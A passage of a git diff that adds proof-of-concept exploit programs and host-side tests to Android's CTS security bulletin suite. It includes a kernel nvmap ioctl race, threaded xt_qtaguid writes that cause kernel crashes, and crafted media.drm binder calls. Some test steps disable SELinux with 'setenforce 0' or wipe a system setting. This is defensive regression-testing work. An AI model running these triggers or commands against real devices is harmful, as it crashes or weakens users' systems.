+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8424
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-incompatible-pointer-types -Wno-unused-variable
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
new file mode 100644
index 0000000..4460b88
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdlib.h>
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+
+
+struct nvmap_handle_param {
+	__u32 handle;		/* nvmap handle */
+	__u32 param;		/* size/align/base/heap etc. */
+	unsigned long result;	/* returns requested info*/
+};
+
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+
+#define NVMAP_IOC_MAGIC 'N'
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
+#define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
+#define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
+#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
+
+int g_fd = -1;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+struct nvmap_create_handle* g_allocation = NULL;
+
+int open_driver() {
+    char* dev_path = "/dev/nvmap";
+    g_fd = open(dev_path, O_RDWR);
+    if (g_fd < 0) {
+        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
+    } else {
+        printf("[*] open file(%s) succ!\n", dev_path);
+    }
+    return g_fd;
+}
+
+void trigger_nvmap_create() {
+    ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
+    //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno);
+}
+
+void trigger_nvmap_free() {
+    static int data = 1024;
+    ioctl(g_fd, NVMAP_IOC_FREE, data);
+    //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+    printf("[*] setpriority(%d) errno = %d\n", privi, errno);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+        printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
+    }
+}
+
+void prepare_data() {
+    void* data = calloc(1, 0x1000);
+
+    g_allocation = (struct nvmap_create_handle*)data;
+    g_allocation->size = 1024;
+
+    mprotect(data, 0x1000, PROT_READ);
+    printf("[*] mprotect, error = %d\n", errno);
+}
+static int init = 0;
+void* race_thread(void* arg) {
+    setup_privi_and_affinity(0, 2);
+
+    int i;
+    while (1) {
+        if (init == 0) {
+            pthread_mutex_lock(&mutex);
+            pthread_cond_wait(&cond, &mutex);
+            pthread_mutex_unlock(&mutex);
+            init = 1;
+        }
+        trigger_nvmap_free();
+    }
+}
+
+int main(int argc, char**argv) {
+    setup_privi_and_affinity(0, 1);
+    if (open_driver() < 0) {
+        return -1;
+    }
+    prepare_data();
+    pthread_t tid;
+    pthread_create(&tid, NULL, race_thread, NULL);
+    sleep(1);
+    while (1) {
+        if (init == 0)
+            pthread_cond_signal(&cond);
+        trigger_nvmap_create();
+    }
+    return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/poc.c
index 0c54420..1e3d9c8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/poc.c
@@ -18,11 +18,11 @@
 #include <sys/stat.h>
 #include <fcntl.h>
 #include <unistd.h>
+#include <sys/ioctl.h>
 #include <sys/syscall.h>
 #include <string.h>
 #include <stdint.h>
 #include <pthread.h>
-#include <linux/ion.h>
 
 #define NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL 0xc0084401ul
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk
new file mode 100644
index 0000000..1cb7357
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-13273
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c
new file mode 100644
index 0000000..0856392
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c
@@ -0,0 +1,136 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define MAX_THREAD 6
+
+int ctrl_fd;
+static int cmd;
+static int status[MAX_THREAD];
+static int sock_fd;
+
+void *thread_entry(void *arg) {
+  int index, len = 256, ret;
+  char buf[256];
+  index = (int)(unsigned long)arg;
+  memset(buf, 0x0, 256);
+  status[index] = 1;
+
+  // cmd =-1 signifies error in thread creation
+  while (cmd != 1 && cmd != -1) {
+    usleep(5);
+  }
+
+  if (cmd != -1) {
+    switch (index % 3) {
+      case 0:
+        len = sprintf(buf, "d %lu", (unsigned long)0);
+        break;
+      case 2:
+        len = sprintf(buf, "t %d", sock_fd);
+        break;
+    }
+
+    ret = write(ctrl_fd, buf, len);
+  }
+
+  status[index] = 2;
+  return NULL;
+}
+/*
+ *This PoC creates multiple threads to write /proc/net/xt_qtaguid/ctrl device
+ *which causes null pointer derefrences in netstat.
+ */
+int main() {
+  int fd, retry = 1024;
+  int ret, i, loop;
+  pthread_t tid[MAX_THREAD];
+
+  fork();
+  sock_fd = socket(AF_INET, SOCK_STREAM, 0);
+  while (retry--) {
+    cmd = 0;
+    for (i = 0; i < MAX_THREAD; i++) {
+      status[i] = 0;
+    }
+
+    fd = open("/dev/xt_qtaguid", O_RDONLY);
+    if (fd < 0) {
+      return -1;
+    }
+
+    ctrl_fd = open("/proc/net/xt_qtaguid/ctrl", O_RDWR);
+    if (ctrl_fd < 0) {
+      return -1;
+    }
+
+    for (i = 0; i < MAX_THREAD; i++) {
+      ret =
+          pthread_create(&tid[i], NULL, thread_entry, (void *)(unsigned long)i);
+      if (ret != 0) {
+        cmd = -1;
+        close(ctrl_fd);
+      }
+    }
+
+    loop = 1;
+    int count = 0;
+    // loop until all threads have status == 1
+    while (loop) {
+      loop = 0;
+      count = count + 1;
+      for (i = 0; i < MAX_THREAD; i++)
+        if (status[i] != 1) {
+          loop = 1;
+          break;
+        }
+
+      if (loop) {
+        usleep(5);
+      }
+    }
+
+    cmd = 1;
+    loop = 1;
+    while (loop) {
+      loop = 0;
+      count = count + 1;
+      for (i = 0; i < MAX_THREAD; i++)
+        if (status[i] != 2) {
+          loop = 1;
+          break;
+        }
+
+      if (loop) {
+        usleep(5);
+      }
+    }
+    close(fd);
+  }
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk
new file mode 100644
index 0000000..0615108
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk
@@ -0,0 +1,38 @@
+#
+#copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9424
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+
+LOCAL_SHARED_LIBRARIES := libbinder \
+                          libutils \
+                          libcutils
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+LOCAL_CPPFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp
new file mode 100644
index 0000000..88dfad6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp
@@ -0,0 +1,149 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <binder/IMemory.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <binder/Parcel.h>
+#include <cutils/ashmem.h>
+#include <utils/String8.h>
+
+using namespace android;
+
+#define MAKE_CRYPTO (IBinder::FIRST_CALL_TRANSACTION)
+#define CREATE_PLUGIN (IBinder::FIRST_CALL_TRANSACTION + 2)
+#define DECRYPT (IBinder::FIRST_CALL_TRANSACTION + 5)
+#define SET_HEAP (IBinder::FIRST_CALL_TRANSACTION + 8)
+
+class MyMemoryHeap : public virtual BnMemoryHeap {
+public:
+  MyMemoryHeap(int fd) { mFd = fd; }
+  int getHeapID() const { return mFd; }
+  void *getBase() const { return NULL; }
+  size_t getSize() const { return 4096 * 4096; }
+  uint32_t getFlags() const { return 0; }
+  uint32_t getOffset() const { return 0; }
+
+private:
+  mutable int mFd;
+};
+
+sp<IBinder> crypto_binder;
+
+void make_crypto() {
+
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> drm_binder = sm->getService(String16("media.drm"));
+
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.media.IMediaDrmService"));
+
+  drm_binder->transact(MAKE_CRYPTO, data, &reply, 0);
+
+  crypto_binder = reply.readStrongBinder();
+}
+
+void create_plugin() {
+
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+
+  uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
+                      0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
+  data.write(uuid, 16);
+
+  data.writeInt32(0);
+
+  crypto_binder->transact(CREATE_PLUGIN, data, &reply, 0);
+}
+
+int set_heap() {
+
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+  int fd = ashmem_create_region("ele7enxxh", 4096);
+  sp<IMemoryHeap> heap = new MyMemoryHeap(fd);
+  data.writeStrongBinder(IInterface::asBinder(heap));
+
+  crypto_binder->transact(SET_HEAP, data, &reply, 0);
+
+  return reply.readInt32();
+}
+
+void decrypt() {
+
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+  data.writeInt32(0);
+  data.writeInt32(0);
+  data.writeInt32(0);
+
+  uint8_t key[16];
+  memset(key, 0, 16);
+  data.write(key, 16);
+  uint8_t iv[16];
+  memset(iv, 0, 16);
+  data.write(iv, 16);
+
+  // totalsize
+  data.writeInt32(4096 * 4);
+
+  sp<MemoryDealer> memoryDealer = new MemoryDealer(4096 * 4);
+  sp<IMemory> mem = memoryDealer->allocate(4096 * 4);
+  data.writeStrongBinder(IInterface::asBinder(mem));
+
+  // source.mHeapSeqNum
+  data.writeInt32(0);
+
+  // offset
+  data.writeInt32(0);
+
+  // numSubSamples
+  data.writeInt32(1);
+
+  // numBytesOfClearData
+  data.writeInt32(4096 * 4);
+
+  // numBytesOfEncryptedData
+  data.writeInt32(0);
+
+  // destination.mType
+  data.writeInt32(0);
+
+  // destination.mSharedMemory
+  data.writeStrongBinder(IInterface::asBinder(mem));
+
+  crypto_binder->transact(DECRYPT, data, &reply, 0);
+}
+
+int main() {
+
+  make_crypto();
+
+  create_plugin();
+
+  set_heap();
+
+  decrypt();
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
new file mode 100644
index 0000000..8c22dfb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
@@ -0,0 +1,35 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc16_06 extends SecurityTestCase {
+
+    /**
+     * b/27364029
+     */
+    @SecurityTest
+    public void testPocCVE_2016_2062() throws Exception {
+        if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+            AdbUtils.runCommandLine("logcat -c" , getDevice());
+            AdbUtils.runPoc("CVE-2016-2062", getDevice(), 60);
+            String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+            assertMatches("[\\s\\n\\S]*CVE-2016-2062 passed[\\s\\n\\S]*", logcat);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index 7ab08ad..5cd86bd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -26,4 +26,15 @@
     public void testPocCVE_2016_2471() throws Exception {
         AdbUtils.runPoc("CVE-2016-2471", getDevice(), 60);
     }
+
+    /**
+     *  b/28760453
+     */
+    @SecurityTest
+    public void testPocCVE_2015_8839() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPoc("CVE-2015-8839", getDevice(), 60);
+        String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertMatches("[\\s\\n\\S]*fallocate result EOPNOTSUPP[\\s\\n\\S]*", logcat);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index da8da31..d11a759 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2018 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,7 +13,6 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
@@ -22,72 +21,13 @@
 public class Poc16_11 extends SecurityTestCase {
 
     /**
-     *  b/30904789
+     *  b/29149404
      */
     @SecurityTest
-    public void testPocCVE_2016_6730() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6730", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30906023
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6731() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6731", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30906599
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6732() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6732", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30906694
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6733() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6733", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30907120
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6734() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6734", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30907701
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6735() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6735", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30953284
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6736() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
-        }
+    public void testPocCVE_2012_6702() throws Exception {
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+        AdbUtils.runPoc("CVE-2012-6702", getDevice(), 60);
+        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatches("[\\s\\n\\S]*fail: encountered same random values![\\s\\n\\S]*", logcat);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index 3446507..8d9cea7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -23,6 +23,16 @@
 
     //Criticals
     /**
+     *  b/31606947
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8424() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8424", getDevice(), 60);
+        }
+    }
+
+    /**
      *  b/31797770
      */
     @SecurityTest
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 80c959c..a6f1e04 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -82,4 +82,23 @@
         assertNotMatchesMultiLine(".*Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
                          "audioserver <<<.*", logcatOut);
     }
+
+    /*
+     *  b/33178389
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0490() throws Exception {
+        String bootCountBefore =
+                AdbUtils.runCommandLine("settings get global boot_count", getDevice());
+        AdbUtils.runCommandLine("service call wifi 43 s16 content://settings/global/boot_count s16 "
+                + "\"application/x-wifi-config\"",
+                getDevice());
+        String bootCountAfter =
+                AdbUtils.runCommandLine("settings get global boot_count", getDevice());
+        // Poc nukes the boot_count setting, reboot to restore it to a sane value
+        AdbUtils.runCommandLine("reboot", getDevice());
+        getDevice().waitForDeviceOnline(60 * 1000);
+        updateKernelStartTime();
+        assertEquals(bootCountBefore, bootCountAfter);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
index 1d6c60d..a0fd9c1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
@@ -33,4 +33,23 @@
                                  "invalid attributes: usage=.{1,} content=.{1,} "+
                                  "flags=.{1,} tags=\\[.{256,}\\].*", logcatOutput);
      }
+
+    /**
+     *  b/65853158
+     */
+    @SecurityTest
+    public void testPocCVE_2017_13273() throws Exception {
+        AdbUtils.runCommandLine("dmesg -c" ,getDevice());
+        AdbUtils.runCommandLine("setenforce 0",getDevice());
+        if(containsDriver(getDevice(), "/dev/xt_qtaguid") &&
+           containsDriver(getDevice(), "/proc/net/xt_qtaguid/ctrl")) {
+            AdbUtils.runPoc("CVE-2017-13273", getDevice(), 60);
+            String dmesgOut = AdbUtils.runCommandLine("cat /sys/fs/pstore/console-ramoops",
+                              getDevice());
+            assertNotMatches("[\\s\\n\\S]*CVE-2017-132736 Tainted:" + "[\\s\\n\\S]*" +
+                 "Kernel panic - not syncing: Fatal exception in interrupt", dmesgOut);
+        }
+        AdbUtils.runCommandLine("setenforce 1",getDevice());
+    }
 }
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
new file mode 100644
index 0000000..6efaafd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -0,0 +1,35 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc18_07 extends SecurityTestCase {
+
+    /**
+     * b/76221123
+     */
+     @SecurityTest
+     public void testPocCVE_2018_9424() throws Exception {
+       AdbUtils.runCommandLine("logcat -c" , getDevice());
+       AdbUtils.runPoc("CVE-2018-9424", getDevice(), 60);
+       String result = AdbUtils.runCommandLine("logcat -d", getDevice());
+       assertNotMatches("[\\s\\n\\S]*Fatal signal [\\s\\n\\S]*", result);
+     }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index cacceaa..24d1226 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -23,6 +23,9 @@
 import com.android.tradefed.log.LogUtil.CLog;
 
 import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import java.util.Map;
+import java.util.HashMap;
 import com.android.ddmlib.MultiLineReceiver;
 import com.android.ddmlib.Log;
 
@@ -31,7 +34,29 @@
     private static final String LOG_TAG = "SecurityTestCase";
 
     private long kernelStartTime;
-    private static Thread checkOom = null;
+
+    private static final long LOW_MEMORY_DEVICE_THRESHOLD_KB = 1024 * 1024; // 1GB
+    private boolean isLowMemoryDevice = false;
+    private static Map<ITestDevice, OomCatcher> oomCatchers = new HashMap<>();
+    private static Map<ITestDevice, Long> totalMemories = new HashMap<>();
+    private enum OomBehavior {
+        FAIL_AND_LOG, // normal behavior
+        PASS_AND_LOG, // skip tests that oom low memory devices
+        FAIL_NO_LOG,  // tests that check for oom
+    }
+    private OomBehavior oomBehavior = OomBehavior.FAIL_AND_LOG; // accessed across threads
+    private boolean oomDetected = false; // accessed across threads
+
+    private static long getMemTotal(ITestDevice device) throws Exception {
+        String memInfo = device.executeShellCommand("cat /proc/meminfo");
+        Pattern pattern = Pattern.compile("MemTotal:\\s*(.*?)\\s*[kK][bB]");
+        Matcher matcher = pattern.matcher(memInfo);
+        if (matcher.find()) {
+            return Long.parseLong(matcher.group(1));
+        } else {
+            throw new Exception("Could not get device memory total");
+        }
+    }
 
     /**
      * Waits for device to be online, marks the most recent boottime of the device
@@ -46,11 +71,35 @@
         //TODO:(badash@): Watch for other things to track.
         //     Specifically time when app framework starts
 
-        // Start Out of Memory detection in separate thread
-        //if (checkOom == null || !checkOom.isAlive()) {
-        //    checkOom = new Thread(new OomChecker());
-        //    checkOom.start();
-        //}
+        // Singleton for caching device TotalMem to avoid and adb shell for every test.
+        Long totalMemory = totalMemories.get(getDevice());
+        if (totalMemory == null) {
+            totalMemory = getMemTotal(getDevice());
+            totalMemories.put(getDevice(), totalMemory);
+        }
+        isLowMemoryDevice = totalMemory < LOW_MEMORY_DEVICE_THRESHOLD_KB;
+
+        // reset test oom behavior
+        // Low memory devices should skip (pass) tests when OOMing and log so that the
+        // high-memory-test flag can be added. Normal devices should fail tests that OOM so that
+        // they'll be ran again with --retry. If the test OOMs because previous tests used the
+        // memory, it will likely pass on a second try.
+        synchronized (this) { // synchronized for oomBehavior and oomDetected.
+            if (isLowMemoryDevice) {
+                oomBehavior = OomBehavior.PASS_AND_LOG;
+            } else {
+                oomBehavior = OomBehavior.FAIL_AND_LOG;
+            }
+            oomDetected = false;
+        }
+
+        // Singleton OOM detection in separate persistent threads for each device.
+        OomCatcher oomCatcher = oomCatchers.get(getDevice());
+        if (oomCatcher == null || !oomCatcher.isAlive()) {
+            oomCatcher = new OomCatcher();
+            oomCatchers.put(getDevice(), oomCatcher);
+            oomCatcher.start();
+        }
     }
 
     /**
@@ -102,23 +151,63 @@
